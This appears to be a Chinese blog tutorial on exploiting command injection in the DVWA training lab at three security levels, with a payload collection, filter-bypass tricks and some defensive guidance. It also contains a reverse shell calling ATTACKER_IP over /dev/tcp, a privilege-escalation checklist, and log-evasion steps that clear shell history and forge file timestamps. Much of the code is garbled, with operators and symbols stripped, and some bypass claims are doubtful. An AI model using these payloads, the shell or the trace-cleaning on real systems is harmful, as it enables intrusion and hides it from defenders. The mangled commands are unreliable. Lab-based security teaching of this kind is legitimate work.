DVWA 1.10 命令注入实战:3种难度绕过与防御源码分析(附Payload)

📅 2026/7/9 3:52:57
DVWA 1.10 命令注入实战:3种难度绕过与防御源码分析(附Payload)
DVWA 1.10 命令注入实战从基础绕过到高级防御的完整指南1. 命令注入漏洞的核心原理与危害命令注入Command Injection是Web安全领域中最危险的漏洞之一它允许攻击者通过构造特殊输入在服务器上执行任意系统命令。这种漏洞通常出现在应用程序将用户输入直接拼接到系统命令中执行的场景。命令注入的危害层级可以划分为三个维度数据泄露通过执行cat /etc/passwd等命令获取敏感文件系统控制利用反向Shell获取服务器完整控制权内网渗透以受害服务器为跳板攻击内网其他系统在DVWA 1.10环境中命令注入模块模拟了典型的ping功能实现。当用户输入IP地址时后端代码会直接拼接成系统命令执行// Low级别示例代码 $target $_REQUEST[ip]; system(ping -c 4 .$target);这种直接将用户输入拼接到系统命令中的做法就像把家门钥匙交给陌生人一样危险。攻击者可以通过特殊字符如;、、|注入额外命令127.0.0.1; ls -la /var/www/html2. DVWA低安全级别下的命令注入实战2.1 基础注入技术在DVWA Security设置为Low时系统对用户输入没有任何过滤。我们可以使用多种方式注入命令分号注入适用于Unix-like系统127.0.0.1; whoami逻辑与注入前命令成功则执行后续命令127.0.0.1 cat /etc/passwd管道注入将前命令输出作为后命令输入127.0.0.1 | uname -a2.2 实用Payload集合下表展示了低安全级别下的有效Payload及其作用Payload格式示例执行效果IP; cmd127.0.0.1; id显示当前用户权限IP cmd127.0.0.1 ls -l列出当前目录文件IP | cmd127.0.0.1 | grep icmp过滤ping结果IPcmdIP cmd127.0.0.1 mkdir hacked反引号命令替换注意实际使用时需要根据目标系统选择合适的分隔符。Windows系统通常使用和|作为命令分隔符。2.3 信息收集技巧获取系统信息是渗透测试的第一步以下命令特别有用# 获取系统内核信息 uname -a # 查看当前用户权限 whoami id # 列出Web目录内容 ls -la /var/www/html # 检查网络连接 netstat -tuln # 查看环境变量 env3. 中安全级别的绕过技术与防御分析3.1 Medium级别的防护机制将DVWA安全级别调整为Medium后查看源码可以发现简单的过滤// Medium级别过滤代码 $target str_replace(;, , $_REQUEST[ip]); system(ping -c 4 .$target);这种防护仅移除了分号字符存在明显缺陷。我们可以使用以下替代方案替代分隔符Payload127.0.0.1 cat /etc/passwd 127.0.0.1 | ls -la 127.0.0.1 || whoami换行符注入URL编码为%0A127.0.0.1%0Aifconfig3.2 高级绕过技术当基本分隔符被过滤时可以尝试这些技巧变量拼接127.0.0.1 acat /etc/passwd$a反斜杠换行适用于某些shell解析127.0.0.1 \ cat /etc/passwd花括号扩展127.0.0.1 {cat,/etc/passwd}4. 高安全级别的终极挑战与突破4.1 High级别的防御措施High级别的防护明显增强源码中实现了严格的正则表达式过滤// High级别过滤代码 $target $_REQUEST[ip]; $target stripslashes($target); if (!preg_match(/^[0-9.]$/, $target)) { echo ERROR: Invalid IP; exit; } system(ping -c 4 .$target);这种防护只允许数字和点号字符看似无懈可击但仍存在绕过可能。4.2 突破思路与Payload参数污染技术ip127.0.0.1ip;cat/etc/passwd编码混淆需要服务器端解码ip127.0.0.1$(printf \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64)环境变量注入ip127.0.0.1${PATH:0:1}bin${PATH:0:1}cat${PATH:0:1}etc${PATH:0:1}passwd5. 防御方案与安全开发实践5.1 输入验证最佳实践白名单验证推荐if (!filter_var($target, FILTER_VALIDATE_IP)) { die(Invalid IP address); }参数化执行$cmd [ping, -c, 4, $target]; proc_open($cmd, $pipes);5.2 安全防护层级模型防护层级技术方案实施难度防护效果输入验证白名单过滤低★★★★命令执行参数化调用中★★★★★权限控制最小权限原则高★★★★系统加固SELinux/AppArmor高★★★★5.3 防御代码对比表安全级别防御代码绕过难度改进建议Low无过滤极易实施白名单验证Mediumstr_replace(;,)容易使用正则表达式Highpreg_match(/^[0-9.]$/)困难改用参数化执行6. 实战案例从注入到控制的全过程6.1 建立反向Shell在获取命令执行能力后可以建立持久化连接# 攻击机监听 nc -lvnp 4444 # 目标机连接URL编码后执行 bash -c bash -i /dev/tcp/ATTACKER_IP/4444 016.2 权限提升检查清单# 检查SUID文件 find / -perm -4000 -type f 2/dev/null # 检查可写目录 find / -type d -perm -2 -ls 2/dev/null # 检查计划任务 crontab -l ls -la /etc/cron*6.3 痕迹清理技巧# 清除命令历史 history -c rm ~/.bash_history # 修改访问时间 touch -r /var/log/auth.log shell.php7. 企业级防护体系建设在真实业务环境中单一防护措施远远不够。企业应该建立纵深防御体系WAF规则部署针对命令注入的特征检测RASP防护在应用运行时检测危险函数调用日志审计监控异常命令执行行为蜜罐诱捕设置虚假漏洞点吸引攻击者实际渗透测试中我曾遇到一个案例某系统虽然过滤了常见分隔符但忽略了%0a换行符。通过这个细微漏洞最终获得了整个集群的控制权。这提醒我们安全防护必须全面考虑各种边界情况。